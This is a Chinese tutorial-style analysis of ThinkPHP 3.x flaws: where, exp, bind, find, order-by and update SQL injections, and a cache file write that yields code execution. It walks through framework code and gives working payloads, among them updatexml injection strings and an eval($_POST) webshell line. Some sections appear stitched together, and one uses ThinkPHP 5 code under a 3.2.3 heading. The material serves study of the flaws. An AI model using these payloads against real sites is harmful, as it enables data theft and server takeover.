整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

「原创」萌新也能看懂的ThinkPHP3.2.3漏洞分析

hinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,可以支持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

网上关于ThinkPHP的漏洞分析文章有很多,今天分享的内容是 i 春秋论坛作者佳哥原创的文章。本文是作者在学习ThinkPHP3.2.3漏洞分析过程中的一次完整的记录,非常适合初学者,文章未经许可禁止转载!

注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。


where注入

在控制器中,写个demo,利用字符串方式作为where传参时存在注入。

public function  getuser(){
    $user = M('User')->where('id='.I('id'))->find();
    dump($user);
}

在变量user地方进行断点,PHPSTROM F7进入,I方法获取传入的参数。

switch(strtolower($method)) {
        case 'get'     :   
                $input =& $_GET;
                break;
        case 'post'    :   
                $input =& $_POST;
                break;
        case 'put'     :   
                if(is_null($_PUT)){
                    parse_str(file_get_contents('php://input'), $_PUT);
                }
                $input         =        $_PUT;        
                break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD']) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                        if(is_null($_PUT)){
                            parse_str(file_get_contents('php://input'), $_PUT);
                        }
                        $input         =        $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
 ......

重点看过滤函数

先利用htmlspecialchars函数过滤参数,在第402行,利用think_filter函数过滤常规sql函数。

function think_filter(&$value){
        // TODO 其他安全过滤

        // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

在where方法中,将$where的值放入到options["where"]数组中。

继续跟进查看find方法,第748行。

$options     =   $this->_parseOptions($options);

在数组$options中增加

'table'=>'tp_user','model'=>'User',随后F7跟进select方法。

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
}

跟进buildSelectSql方法,继续在跟进parseSql方法,这里可以看到生成完整的sql语句。

这里主要查看parseWhere方法

跟进parseThinkWhere方法

protected function parseThinkWhere($key,$val) {
        $whereStr   = '';
        switch($key) {
            case '_string':
                // 字符串模式查询条件
                $whereStr = $val;
                break;
            case '_complex':
                // 复合查询条件
                $whereStr = substr($this->parseWhere($val),6);
                break;

$key为_string,所以$whereStr为传入的参数的值,最后parserWhere方法返回(id=1p),所以最终payload为:

1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

exp注入

漏洞demo,这里使用全局数组进行传参(不要用I方法),漏洞才能生效。

public function  getuser(){
        $User = D('User');
        $map = array('id' => $_GET['id']);
        $user = $User->where($map)->find();
        dump($user);
}

直接在$user进行断点,F7跟进,跳过where方法,跟进

find->select->buildSelectSql->parseSql->parseWhere

跟进parseWhereItem方法,此时参数$val为一个数组,{‘exp’,‘sql注入exp’}

此时当$exp满足exp时,将参数和值就行拼接,所以最终paylaod为:

id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

上面至于为什么不能用I方法,原因是在过滤函数think_filter中能匹配到exp字符,所以在exp字符后面加了一个空格,导致在parseWhereItem方法中无法等于exp。

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))


bind注入

漏洞demo

public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('User')->where($data)->save($uname);
        dump($user);
}

F8跟进save方法

生成sql语句在update方法中:

public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  单表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

在parseSet方法中,可以将传入的参数替换成:0。

在bindParam方法中,$this->bind属性返回array(':0'=>参数值)。

protected function bindParam($name,$value){
        $this->bind[':'.$name]  =   $value;
}

继续跟进parseWhere->parseWhereItem方法,当exp为bind时,就会在参数值前面加个冒号(:)。

由于在sql语句中有冒号,继续跟进excute方法,这里将:0替换成了第二个参数的值。

所以最终的payload为:

id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing


find/select/delete注入

先分析find注入,在控制器中写个漏洞demo。

public function getuser(){
    $user = M('User')->find(I('id'));
    dump($user);
}

当传入id[where]=1p时候,在user进行断点,F7跟进find->_parseOptions方法:

$options['where']为字符串,导致不能执行_parseType方法转化数据,进行跟进select->buildSelectSql->parseSql->parseWhere方法,传入的$where为字符串,直接执行了if语句。

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where;
            ......
        }
        return empty($whereStr)?'':' WHERE '.$whereStr;

当传入id=1p,就不能进行注入了,具体原因在find->_parseOptions->_parseType方法,将传入的参数进行了强转化为整形。

所以,payload为:

?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

select和delete原理同find方法一样,只是delete方法多增加了一个判断是否为空。

if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }   

order by注入

先在控制器中写个漏洞demo

public function user(){
    $data['username'] = array('eq','admin');
    $user = M('User')->where($data)->order(I('order'))->find();
    dump($user);
}

在user变量处断点,F7跟进,find->select->buildSelectSql->parseSql方法。

$this->parseOrder(!empty($options['order'])?$options['order']:''),

当$options['order']参数参在时,跟进parseOrder方法。

当不为数组时,直接返回order by + 注入pyload,所以注入payload为:

order=id and(updatexml(1,concat(0x7e,(select user())),0))

缓存漏洞

在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下:

  • F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。
  • S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。

这里F方法就不介绍了,直接看S方法。

public function test(){
    S('name',I('test'));
}

跟进查看S方法

set方法写入缓存

跟进filename方法,此方法获取写入文件的路径,保存在

../Application/Runtime/Temp目录下

private function filename($name) {
        $name        =        md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 使用子目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir        .=        $name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename        =        $dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename        =        $this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }

并将S传入的name进行md5值作为文件名,最终通过file_put_contents函数写入文件。

以上是今天分享的内容,大家看懂了吗?记得要实际动手练习一下,才能加深印象哦~

迎搜索公众号:白帽子左一

每天分享更多黑客技能,工具及体系化视频教程


中间件漏洞

一.RCE

ThinkPHP3.2.3缓存函数设计缺陷可导致代码执行

概述

网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。


而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能。


就是缓存函数设计不严格,导致攻击者可以插入恶意代码,直接getshell。

实验环境

redhat6+apache2+Mysql+php5+thinkphp3.2.3

漏洞利用

将 application/index/controller/Index.php 文件中代码更改如下:

 <?php


namespace app\index\controller;


 use think\Cache;
 class Index
 {
 public function index()
 {
 Cache::set("name",input("get.username"));
 return 'Cache success';
 }
 }

访问 http://localhost/tpdemo/public/?username=xxx%0d%0aphpinfo();//, 即可将 webshell 等写入缓存文件。

漏洞分析

先找到Cache.class.php文件,也就是缓存文件,关键代码:

/**
     * 连接缓存
     * @access public
     * @param string $type 缓存类型
     * @param array $options  配置数组
     * @return object
     */
    public function connect($type='',$options=array()) {
        if(empty($type))  $type = C('DATA_CACHE_TYPE');
        $class  =   strpos($type,'\\')? $type : 'Think\\Cache\\Driver\\'.ucwords(strtolower($type));
        if(class_exists($class))
            $cache = new $class($options);
        else
            E(L('_CACHE_TYPE_INVALID_').':'.$type);
        return $cache;

这里读入配置,获取实例化的一个类的路径,路径是:Think\Cache\Driver\

这里我尝试了var_dump($class)echo $class直接浏览器访问Cache.class.php都无法像那篇帖子一样打印出$class,后来才发现添加数据写入缓存页面跳转才打印了Think\Cache\Driver\File。
关键代码:

/**
     * 取得缓存类实例
     * @static
     * @access public
     * @return mixed
     */
    static function getInstance($type='',$options=array()) {
        static $_instance   =   array();
        $guid   =   $type.to_guid_string($options);
        if(!isset($_instance[$guid])){
            $obj    =   new Cache();
            $_instance[$guid]   =   $obj->connect($type,$options);
        }
        return $_instance[$guid];
    }
    public function __get($name) {
        return $this->get($name);
    }
    public function __set($name,$value) {
        return $this->set($name,$value);
    }
    public function __unset($name) {
        $this->rm($name);
    }
    public function setOptions($name,$value) {
        $this->options[$name]   =   $value;
    }
    public function getOptions($name) {
        return $this->options[$name];
    }

这里实例化了那个类,我们重点关注set方法,接着直接找到这个路径下的File.class.php吧。


关键代码:

public function set($name,$value,$expire=null) {
        N('cache_write',1);
        if(is_null($expire)) {
            $expire =  $this->options['expire'];
        }
        $filename   =   $this->filename($name);
        $data   =   serialize($value);
        if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
            //数据压缩
            $data   =   gzcompress($data,3);
        }
        if(C('DATA_CACHE_CHECK')) {//开启数据校验
            $check  =  md5($data);
        }else {
            $check  =  '';
        }
        $data    = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
        $result  =   file_put_contents($filename,$data);
        if($result) {
            if($this->options['length']>0) {
                // 记录缓存队列
                $this->queue($name);
            }
            clearstatcache();
            return true;
        }else {
            return false;
        }
}

这就是写入缓存的set方法,对传入的数据进行了序列化和压缩,
重点看这两句:

$data    = “<?php\n//”.sprintf(‘%012d’,$expire).$check.$data.”\n?>”;
$result  =   file_put_contents($filename,$data);

简单拼接一下就写入文件了,Bug就出现在这里,这时来看看我们
payload:

%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f

解码后就是:

换行+eval(%_POST[‘tpc’]);//

就写入恶意代码了。
最后看看文件名:

/**
     * 取得变量的存储文件名
     * @access private
     * @param string $name 缓存变量名
     * @return string
     */
    private function filename($name) {
        $name   =   md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 使用子目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir    .=  $name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename   =   $dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename   =   $this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
}

文件名就是md5加密值。

  • 总结:这个thinkphp缓存函数设计bug,利用起来不难,但是感觉还是挺鸡肋。
  • 原因是:1.要开启缓存2.虽然文件名是md5固定值,但是TP3可以设置 DATA_CACHE_KEY 参数来避免被猜到缓存文件名3.缓存使用文件方式4.缓存目录暴露在web目录下面可被攻击者访问。

Thinkphp 2.x、3.0-3.1版代码执行漏洞

漏洞分析

影响版本:Thinkphp 2.x、3.0-3.1

$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这段代码主要就是用explodeurl拆开,然后再用implode函数拼接起来,接着带入到preg_replace里面。


preg_replace的/e模式,和php双引号都能导致代码执行的。


这句正则简化后就是 /(\w+)\/([^\/\/]+)/e
注:
\w+ 表示匹配任意长的[字母数字下划线]字符串,然后匹配 / 符号,再匹配除了/符号以外的字符。其实就是匹配连续的两个参数。


eg:www.dawn.com/index.php?s=1/2/3/4/5/6
每次匹配 1和2,3和4,5和6。、


是取第一个括号里的匹配结果,是取第二个括号里的匹配结果


也就是 取的是 1 3 5 取的是 2 4 6


那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。


双引号是存在在 外面的,那么就说明我们要控制的是偶数位的参数。
环境较为难找,本地模拟一下

漏洞复现

本地模拟:

<?php
$var = array();
preg_replace("/(\w+)\/([^\/\/]+)/ie",'$var[\'\\1\']="\\2";',$_GET[s]);
?>

二.注入

ThinkPHP3.2.3update注入漏洞

概述

thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,


其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列


由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。

漏洞分析

thinkphp系列框架过滤表达式注入多半采用I函数去调用think_filter

function think_filter(&$value){
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

一般按照官方的写法,thinkphp提供了数据库链式操作,其中包含连贯操作和curd操作。

在进行数据库CURD操作去更新数据的时候,利用update数据操作。



where来制定主键的数值,save方法去更新变量传进来的参数到数据库的指定位置。

    public function where($where,$parse=null){
            if(!is_null($parse) && is_string($where)) {
                if(!is_array($parse)) {
                    $parse = func_get_args();
                    array_shift($parse);
                }
                $parse = array_map(array($this->db,'escapeString'),$parse);
                $where =   vsprintf($where,$parse);
            }elseif(is_object($where)){
                $where  =   get_object_vars($where);
            }
            if(is_string($where) && '' != $where){
                $map    =   array();
                $map['_string']   =   $where;
                $where  =   $map;
            }       
            if(isset($this->options['where'])){
                $this->options['where'] =   array_merge($this->options['where'],$where);
            }else{
                $this->options['where'] =   $where;
            }

            return $this;
        }

通过where方法获取where()链式中进来的参数值,并对参数进行检查,是否为字符串,tp框架默认是对字符串进行过滤的。

public function save($data='',$options=array()) {
        if(empty($data)) {
            // 没有传递数据,获取当前数据对象的值
            if(!empty($this->data)) {
                $data           =   $this->data;
                // 重置数据
                $this->data     =   array();
            }else{
                $this->error    =   L('_DATA_TYPE_INVALID_');
                return false;
            }
        }
        // 数据处理
        $data       =   $this->_facade($data);
        if(empty($data)){
            // 没有数据则不执行
            $this->error    =   L('_DATA_TYPE_INVALID_');
            return false;
        }
        // 分析表达式
        $options    =   $this->_parseOptions($options);
        $pk         =   $this->getPk();
        if(!isset($options['where']) ) {
            // 如果存在主键数据 则自动作为更新条件
            if (is_string($pk) && isset($data[$pk])) {
                $where[$pk]     =   $data[$pk];
                unset($data[$pk]);
            } elseif (is_array($pk)) {
                // 增加复合主键支持
                foreach ($pk as $field) {
                    if(isset($data[$field])) {
                        $where[$field]      =   $data[$field];
                    } else {
                           // 如果缺少复合主键数据则不执行
                        $this->error        =   L('_OPERATION_WRONG_');
                        return false;
                    }
                    unset($data[$field]);
                }
            }
            if(!isset($where)){
                // 如果没有任何更新条件则不执行
                $this->error        =   L('_OPERATION_WRONG_');
                return false;
            }else{
                $options['where']   =   $where;
            }
        }

        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue    =   $options['where'][$pk];
        }
        if(false === $this->_before_update($data,$options)) {
            return false;
        }
        $result     =   $this->db->update($data,$options);
        if(false !== $result && is_numeric($result)) {
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_update($data,$options);
        }
        return $result;
    }

再来到save方法,通过前面的数据处理解析服务端数据库中的数据字段信息,字段数据类型,再到_parseOptions 表达式分析,获取到表名,数据表别名,记录操作的模型名称,再去调用回调函数进入update


我们这里可以直接看框架的where子函数,之前网上公开的exp表达式注入就是从这里分析出来的结论:Thinkphp/Library/Think/Db/Driver.class.php

// where子单元分析
    protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                $exp    =    strtolower($val[0]);
                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                    if(is_array($val[1])) {
                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                        if(in_array($likeLogic,array('AND','OR','XOR'))){
                            $like       =   array();
                            foreach ($val[1] as $item){
                                $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                            }
                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                        }
                    }else{
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                    }
                }elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
                        $zone      =   implode(',',$this->parseValue($val[1]));
                        $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                    }
                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                    $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
                }else{
                    E(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                $count = count($val);
                $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
                if(in_array($rule,array('AND','OR','XOR'))) {
                    $count  = $count -1;
                }else{
                    $rule   = 'AND';
                }
                for($i=0;$i<$count;$i++) {
                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                    if('exp'==strtolower($val[$i][0])) {
                        $whereStr .= $key.' '.$data.' '.$rule.' ';
                    }else{
                        $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                    }
                }
                $whereStr = '( '.substr($whereStr,0,-4).' )';
            }
        }else {
            //对字符串类型字段采用模糊匹配
            $likeFields   =   $this->config['db_like_fields'];
            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
    }

其中除了exp能利用外还有一处bind,而bind可以完美避开了think_filter:

elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];

这里由于拼接了$val参数的形式造成了注入,但是这里的bind表达式会引入:符号参数绑定的形式去拼接数据,通过白盒对几处CURD操作函数进行分析定位到update函数insert函数会造成sql注入,于是回到上面的update函数


Thinkphp/Library/Think/Db/Driver.class.php

/**
     * 更新记录
     * @access public
     * @param mixed $data 数据
     * @param array $options 表达式
     * @return false | integer
     */
    public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  单表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

可以继续跟进execute函数

public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }

这里有处对$this->queryStr进行字符替换的操作,具体是怎么更新的,我们可以进一步操作一下。


Application/Home/Controller/UserController.class.php

<?php

namespace HomeController;
use ThinkController;

class UserController extends Controller {

    public function index(){

        $User = M("member");
        $user['id'] = I('id');
        $data['money'] = I('money');
        $data['user'] = I('user');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }
}

通过这个代码,根据进来的id更新用户的名字和钱,构造一个简单一个poc:
id[]=bind&id[]=1’&money[]=1123&user=liao 当走到execute函数时sql语句为

UPDATE `member` SET `user`=:0 WHERE `id` = :1'

然后$that = $this。

接下来下面的替换操作是将”:0”替换为外部传进来的字符串,这里就可控了。
替换后的语句就会发现之前的user参数为
:0

然后被替换为了我们传进来的东西(liao),这样就把:替换掉了。

替换后的语句:

UPDATE 'member' SET 'user'='liao' WHERE 'id' = :1'

但是id后面的 :1 是替换不掉的。

那么我们将id[1]数组的参数变为0尝试一下。

漏洞复现

测试代码

<?php

namespace HomeController;
use ThinkController;

class UserController extends Controller {

    public function index(){

        $User = M("member");
        $user['id'] = I('id');
        $data['money'] = I('money');
        $data['user'] = I('user');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }
}

Poc:id[]=bind&id[]=0%27&money[]=1123&user=liao

这样就造成了注入。继续构造poc。
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

ThinkPHP3.2.3 find注入

select 和 find 函数

find函数为例进行分析(select代码类似),该函数可接受一个$options参数,作为查询数据的条件。


$options为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:

if (is_numeric($options) || is_string($options)) {
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
}

同时提供了对复合主键的查询,看到判断:

if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            ......
        }

要进入复合主键查询代码,需要满足$options为数组同时$pk主键也要为数组,但这个对于表只设置一个主键的时候不成立。

那么就可以使$options为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入_parseOptions 进行解析。

if (is_numeric($options) || is_string($options)) {//$options为数组不进入
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
        }
        // 根据复合主键查找记录
        $pk = $this->getPk();
        if (is_array($options) && (count($options) > 0) &&
is_array($pk)) { //$pk不为数组不进入
            ......
        }
        // 总是查找一条记录
        $options['limit'] = 1;
        // 分析表达式
        $options = $this->_parseOptions($options); //解析表达式
        // 判断查询缓存
        .....
        $resultSet = $this->db->select($options); //底层执行

之后跟进_parseOptions方法,(分析见代码注释)

if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
            $options = array_merge($this->options, $options);
        }
        if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
            // 自动获取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields(); //设置了进这里
        }
        // 数据表别名
        if (!empty($options['alias'])) {//判断是否设置了数据表别名
            $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
        }
        // 记录操作的模型名称
        $options['model'] = $this->name;

        // 字段类型验证
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
            // 对数组查询条件进行字段类型检查
           ......
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;

$options我们可控,那么就可以控制为数组类型,传入$options[‘table’]$options[‘alias’]等等,只要提层不进行过滤都是可行的。

同时我们可以不设置$options[‘where’]或者设置$options[‘where’]的值为字符串,可绕过字段类型的验证。

可以看到在整个对$options的解析中没有过滤,直接返回,跟进到底层ThinkPHP\Libray\Think\Db\Diver.class.php,找到select方法,继续跟进最后来到parseSql方法,对$options的值进行替换,解析。

因为$options[‘table’]或$options[‘alias’]都是由parseTable函数进行解析,跟进:

if (is_array($tables)) {//为数组进
            // 支持别名定义
          ......
        } elseif (is_string($tables)) {//不为数组进
            $tables = array_map(array($this, 'parseKey'), explode(',', $tables));
        }
        return implode(',', $tables);

当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

同时$options[‘where’]也一样,看到parseWhere函数

$whereStr = '';
        if (is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where; //直接返回了,没有任何过滤
        } else {
            // 使用数组表达式
           ......
        }
        return empty($whereStr) ? '' : ' WHERE ' . $whereStr;

delete 函数

delete 函数有些不同,主要是在解析完$options之后,还对$options[‘where’]判断了一下是否为空,需要我们传一下值,使之不为空,从而继续执行删除操作。

   // 分析表达式
        $options = $this->_parseOptions($options);
        if (empty($options['where'])) { //注意这里,还判断了一下$options['where']是否为空,为空直接返回,不再执行下面的代码。
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }
        if (is_array($options['where']) && isset($options['where'][$pk])) {
            $pkValue = $options['where'][$pk];
        }
        if (false === $this->_before_delete($options)) {
            return false;
        }
        $result = $this->db->delete($options);
        if (false !== $result && is_numeric($result)) {
            $data = array();
            if (isset($pkValue)) {
                $data[$pk] = $pkValue;
            }
            $this->_after_delete($data, $options);
        }
        // 返回删除记录个数
        return $result;

环境调试

下载地址:http://www.thinkphp.cn/download/610.html


自己配置一下数据库路径:

test_thinkphp_3.2.3\Application\Common\Conf\config.php


自己安装,安装完以后访问一下:

http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/index
没有报错就可以了。


开启debug 方便本地测试

路径:test_thinkphp_3.2.3\index.php


路径:test_thinkphp_3.2.3\Application\Common\Conf\config.php

漏洞复现

3处注入利用方法都是一样的,所以就演示一个 find 注入
Select 与 delete 注入同理

http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test=3

http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test=3%27aaa

明显转成整型,无法进行注入了。

http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test[where]=3

这样就可以直接控制where了。

http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test[where]=3%27

ThinkPHP 3.X order by 注入漏洞

漏洞分析

ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,


由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入,该漏洞影响ThinkPHP 3.2.3、5.1.22及以下版本。


ThinkPHP3.2.3漏洞代码(/Library/Think/Db/Driver.class.php):


从上面漏洞代码可以看出,当$field参数为关联数组(key-value)时,key值拼接到返回值中,SQL语句最终绕过了框架安全过滤得以执行。

漏洞复现

测试代码

<?php
namespace Home\Controller;
use Think\Controller;
 class IndexController extends Controller{
  public function index(){
      $data=array();
      $data['username']=array('eq','admin');
      $order=I('get.order');
      $m=M('user')->where($data)->order($order)->find();
      dump($m);
   }
 }

构造poc:?order[updatexml(1,concat(0x3e,user()),1)]=1

thinkphp3.x exp注入漏洞

EXP表达式支持SQL语法查询 sql注入非常容易产生。

$map['id']  = array('in','1,3,8');

可以改成:

$map['id']  = array('exp',' IN (1,3,8) ');

exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。


查询表达式不仅可用于查询条件,也可以用于数据更新。

$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用户的积分加1
$User->where('id=5')->save($data); // 根据条件保存修改的数据

表达式查询

  • $map['字段1'] = array('表达式','查询条件1');
    $map['字段2'] = array('表达式','查询条件2');
    $Model->where($map)->select();

exp注入分析

跟到\ThinkPHP\Library\Think\Db\Driver.class.php 504行

           foreach ($where as $key=>$val){
                if(is_numeric($key)){
                    $key  = '_complex';
                }
                if(0===strpos($key,'_')) {
                    // 解析特殊条件表达式
                    $whereStr   .= $this->parseThinkWhere($key,$val);
                }else{
                    // 查询字段的安全过滤
                    // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
                    //     E(L('_EXPRESS_ERROR_').':'.$key);
                    // }
                    // 多条件支持
                    $multi  = is_array($val) &&  isset($val['_multi']);
                    $key    = trim($key);
                    if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                        $array =  explode('|',$key);
                        $str   =  array();


parseSQl组装 替换表达式:


parseKey()

 protected function parseKey(&$key) {
        $key   =  trim($key);
